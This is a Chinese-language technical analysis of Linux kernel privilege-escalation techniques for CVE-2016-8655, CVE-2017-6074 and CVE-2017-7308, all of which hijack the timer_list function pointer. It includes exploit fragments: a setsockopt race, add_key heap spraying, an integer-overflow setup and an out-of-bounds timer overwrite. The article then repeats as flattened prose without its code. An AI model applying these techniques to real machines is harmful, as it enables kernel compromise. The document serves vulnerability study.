timer_list结构体在linux内核漏洞利用中的使用
字数 2404 2025-08-18 11:35:40

Linux内核漏洞利用:timer_list结构体的使用与分析

前言

本文详细分析Linux内核中与网络协议相关的三个漏洞(CVE-2016-8655、CVE-2017-6074和CVE-2017-7308),这些漏洞的利用都采用了覆盖timer_list结构体中函数指针的方法。我们将深入探讨这些漏洞的原理和利用技术。

timer_list结构体

Linux内核使用timer_list结构体作为定时器:

struct timer_list {
    struct hlist_node entry;       // 定时器链表的入口
    unsigned long expires;         // 定时器到期时间
    void (*function)(unsigned long); // 定时器处理函数
    unsigned long data;            // 传给定时器处理函数的参数
    u32 flags;
    int slack;
#ifdef CONFIG_TIMER_STATS
    int start_pid;
    void *start_site;
    char start_comm[16];
#endif
#ifdef CONFIG_LOCKDEP
    struct lockdep_map lockdep_map;
#endif
};

关键成员:

  • entry: 定时器链表的入口
  • expires: 定时器到期时间
  • function: 定时器处理函数,到期时执行
  • data: 传递给处理函数的参数

内核调试方法

常用的内核调试方法:

  1. 自己编译内核使用qemu+busybox调试
  2. 使用virtualbox/vmware搭建两台虚拟机用串口通信调试
  3. 使用vmware提供的gdb stub调试(需要物理机也是Linux系统)

CVE-2016-8655分析

漏洞原理

packet_set_ring函数在创建ringbuffer时,如果packet版本为TPACKET_V3会初始化定时器:

case TPACKET_V3:
    if (!tx_ring)
        init_prb_bdqc(po, rb, pg_vec, req_u);
    break;

调用链:packet_set_ring()init_prb_bdqc()prb_setup_retire_blk_timer()prb_init_blk_timer()init_timer()

关闭socket时会再次调用packet_set_ring函数,如果packet版本大于TPACKET_V2,内核会注销定时器:

if (closing && (po->tp_version > TPACKET_V2)) {
    if (!tx_ring)
        prb_shutdown_retire_blk_timer(po, rb_queue);
}

调用链:packet_set_ring()prb_shutdown_retire_blk_timer()prb_del_retire_blk_timer()del_timer_sync()del_timer()

漏洞点:如果在这段时间内其他线程调用setsockopt将packet设为TPACKET_V1,前面初始化的定时器不会被注销,导致UAF。

漏洞利用

  1. 触发UAF:通过线程竞争设置TPACKET_V1和TPACKET_V3版本
void *vers_switcher(void *arg) {
    int val, x, y;
    while (barrier) {}
    while (1) {
        val = TPACKET_V1;
        x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
        y++;
        if (x != 0) break;
        
        val = TPACKET_V3;
        x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
        if (x != 0) break;
        y++;
    }
    return NULL;
}
  1. 堆喷射:使用add_key函数覆盖timer_list结构体
#define BUFSIZE 1408
char exploitbuf[BUFSIZE];

void kmalloc(void) {
    while (1)
        syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE-24, -2);
}

user_key_payload结构体:

struct user_key_payload {
    struct rcu_head rcu;
    unsigned short datalen;  // 0x10
    char data[0];           // 0x12
};
  1. 利用过程
    • 第一次触发:调用set_memory_rw将vsyscall页设置为可写
    • 修改vsyscall页内容为构造的ctl_table结构体数据
    • 第二次触发:调用register_sysctl_table注册构造的ctl_table
    • 修改/proc/sys/hack为当前程序路径
    • 调用socket触发modprobe_path执行

CVE-2017-6074分析

漏洞原理

dccp_rcv_state_process函数中,如果dccp_v6_conn_request成功返回会强制释放skb:

if (sk->sk_state == DCCP_LISTEN) {
    if (dh->dccph_type == DCCP_PKT_REQUEST) {
        if (inet_csk(sk)->icsk_af_ops->conn_request(sk, skb) < 0)
            return 1;
        goto discard;
    }
    ...
discard:
    __kfree_skb(skb);
}

但如果socket设置了IPV6_RECVPKTINFO,skb会被保存到ireq->pktopts且引用计数+1:

if (ipv6_opt_accepted(sk, skb, IP6CB(skb)) ||
    np->rxopt.bits.rxinfo || np->rxopt.bits.rxoinfo ||
    np->rxopt.bits.rxhlim || np->rxopt.bits.rxohlim) {
    atomic_inc(&skb->users);
    ireq->pktopts = skb;
}

漏洞点dccp_rcv_state_process仍然会释放skb,导致UAF。

漏洞利用

  1. 覆盖timer_list结构体中的functionnative_write_cr4禁用SMEP/SMAP
  2. 覆盖skb_shared_info结构体中的函数指针,在释放skb时执行用户态提权函数

CVE-2017-7308分析

漏洞原理

packet_set_ring函数中存在整数溢出:

if (po->tp_version >= TPACKET_V3 &&
    (int)(req->tp_block_size - BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
    goto out;

绕过检查的例子:

  • req->tp_block_size = 4096 (0x1000)
  • req_u->req3.tp_sizeof_priv = (1 << 31) + 4096 (0x80001000)
  • BLK_PLUS_PRIV(B) = (1 << 31) + 4096 + 48 = 0x80001030
  • A - BLK_PLUS_PRIV(B) = 0x1000 - 0x80001030 = 0x7fffffd0
  • (int)0x7fffffd0 = 0x7fffffd0 > 0

漏洞利用

  1. 堆布局准备
    • 分配许多2048字节对象填充kmalloc-2048缓存
    • 分配许多0x8000字节页面内存块耗尽buddy分配器
#define KMALLOC_PAD 512
kmalloc_pad(KMALLOC_PAD);

void kmalloc_pad(int count) {
    int i;
    for (i = 0; i < count; i++)
        packet_sock_kmalloc();
}
  1. 创建环形缓冲区
    • 创建具有两个0x8000内存块的环形缓冲区
    • 第一个内存块会被关闭,第二个会被覆盖
int oob_setup(int offset) {
    unsigned int maclen = ETH_HDR_LEN;
    unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN + (maclen < 16 ? 16 : maclen));
    unsigned int macoff = netoff - maclen;
    unsigned int sizeof_priv = (1u << 31) + (1u << 30) + 0x8000 - BLK_HDR_LEN - macoff + offset;
    return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}
  1. 触发漏洞
    • 覆盖timer_list结构体中的函数指针
    • 覆盖packet_sock->xmit函数指针
void oob_timer_execute(void *func, unsigned long arg) {
    oob_setup(2048 + TIMER_OFFSET - 8); // B78
    int i;
    for (i = 0; i < 32; i++) {
        int timer = packet_sock_kmalloc();
        packet_sock_timer_schedule(timer, 1000);
    }
    
    char buffer[2048];
    memset(&buffer[0], 0, sizeof(buffer));
    struct timer_list *timer = (struct timer_list *)&buffer[8];
    timer->function = func;
    timer->data = arg;
    timer->flags = 1;
    oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
    sleep(1);
}

总结

本文分析的三个Linux内核漏洞都利用了覆盖packet_sock结构体中的timer_list结构体函数指针的方法实现提权。相比常见的stack pivot+ROP链方法,这种方法能同时禁用SMEP和SMAP,具有更好的稳定性。

关键点总结

  1. timer_list结构体中的function指针是关键攻击目标
  2. 通过UAF漏洞实现对timer_list结构体的控制
  3. 利用堆喷射技术精确覆盖目标结构体
  4. 通过修改关键函数指针(如native_write_cr4)绕过保护机制
  5. 精心设计堆布局确保漏洞利用的可靠性

参考资料

  1. CVE-2016-8655 EXP
  2. CVE-2017-6074 EXP
  3. CVE-2017-7308 EXP
  4. CVE-2016-8655内核竞争条件漏洞调试分析
  5. Exploiting the Linux kernel via packet sockets
  6. New Reliable Android Kernel Root Exploitation Techniques
Linux内核漏洞利用:timer_ list结构体的使用与分析 前言 本文详细分析Linux内核中与网络协议相关的三个漏洞(CVE-2016-8655、CVE-2017-6074和CVE-2017-7308),这些漏洞的利用都采用了覆盖 timer_list 结构体中函数指针的方法。我们将深入探讨这些漏洞的原理和利用技术。 timer_ list结构体 Linux内核使用 timer_list 结构体作为定时器: 关键成员: entry : 定时器链表的入口 expires : 定时器到期时间 function : 定时器处理函数,到期时执行 data : 传递给处理函数的参数 内核调试方法 常用的内核调试方法: 自己编译内核使用qemu+busybox调试 使用virtualbox/vmware搭建两台虚拟机用串口通信调试 使用vmware提供的gdb stub调试(需要物理机也是Linux系统) CVE-2016-8655分析 漏洞原理 packet_set_ring 函数在创建ringbuffer时,如果packet版本为TPACKET_ V3会初始化定时器: 调用链: packet_set_ring() → init_prb_bdqc() → prb_setup_retire_blk_timer() → prb_init_blk_timer() → init_timer() 关闭socket时会再次调用 packet_set_ring 函数,如果packet版本大于TPACKET_ V2,内核会注销定时器: 调用链: packet_set_ring() → prb_shutdown_retire_blk_timer() → prb_del_retire_blk_timer() → del_timer_sync() → del_timer() 漏洞点 :如果在这段时间内其他线程调用 setsockopt 将packet设为TPACKET_ V1,前面初始化的定时器不会被注销,导致UAF。 漏洞利用 触发UAF :通过线程竞争设置TPACKET_ V1和TPACKET_ V3版本 堆喷射 :使用 add_key 函数覆盖timer_ list结构体 user_key_payload 结构体: 利用过程 : 第一次触发:调用 set_memory_rw 将vsyscall页设置为可写 修改vsyscall页内容为构造的 ctl_table 结构体数据 第二次触发:调用 register_sysctl_table 注册构造的 ctl_table 修改 /proc/sys/hack 为当前程序路径 调用socket触发 modprobe_path 执行 CVE-2017-6074分析 漏洞原理 在 dccp_rcv_state_process 函数中,如果 dccp_v6_conn_request 成功返回会强制释放skb: 但如果socket设置了 IPV6_RECVPKTINFO ,skb会被保存到 ireq->pktopts 且引用计数+1: 漏洞点 : dccp_rcv_state_process 仍然会释放skb,导致UAF。 漏洞利用 覆盖 timer_list 结构体中的 function 为 native_write_cr4 禁用SMEP/SMAP 覆盖 skb_shared_info 结构体中的函数指针,在释放skb时执行用户态提权函数 CVE-2017-7308分析 漏洞原理 packet_set_ring 函数中存在整数溢出: 绕过检查的例子: req->tp_block_size = 4096 (0x1000) req_u->req3.tp_sizeof_priv = (1 < < 31) + 4096 (0x80001000) BLK_PLUS_PRIV(B) = (1 < < 31) + 4096 + 48 = 0x80001030 A - BLK_PLUS_PRIV(B) = 0x1000 - 0x80001030 = 0x7fffffd0 (int)0x7fffffd0 = 0x7fffffd0 > 0 漏洞利用 堆布局准备 : 分配许多2048字节对象填充kmalloc-2048缓存 分配许多0x8000字节页面内存块耗尽buddy分配器 创建环形缓冲区 : 创建具有两个0x8000内存块的环形缓冲区 第一个内存块会被关闭,第二个会被覆盖 触发漏洞 : 覆盖 timer_list 结构体中的函数指针 覆盖 packet_sock->xmit 函数指针 总结 本文分析的三个Linux内核漏洞都利用了覆盖 packet_sock 结构体中的 timer_list 结构体函数指针的方法实现提权。相比常见的stack pivot+ROP链方法,这种方法能同时禁用SMEP和SMAP,具有更好的稳定性。 关键点总结 timer_list 结构体中的 function 指针是关键攻击目标 通过UAF漏洞实现对 timer_list 结构体的控制 利用堆喷射技术精确覆盖目标结构体 通过修改关键函数指针(如 native_write_cr4 )绕过保护机制 精心设计堆布局确保漏洞利用的可靠性 参考资料 CVE-2016-8655 EXP CVE-2017-6074 EXP CVE-2017-7308 EXP CVE-2016-8655内核竞争条件漏洞调试分析 Exploiting the Linux kernel via packet sockets New Reliable Android Kernel Root Exploitation Techniques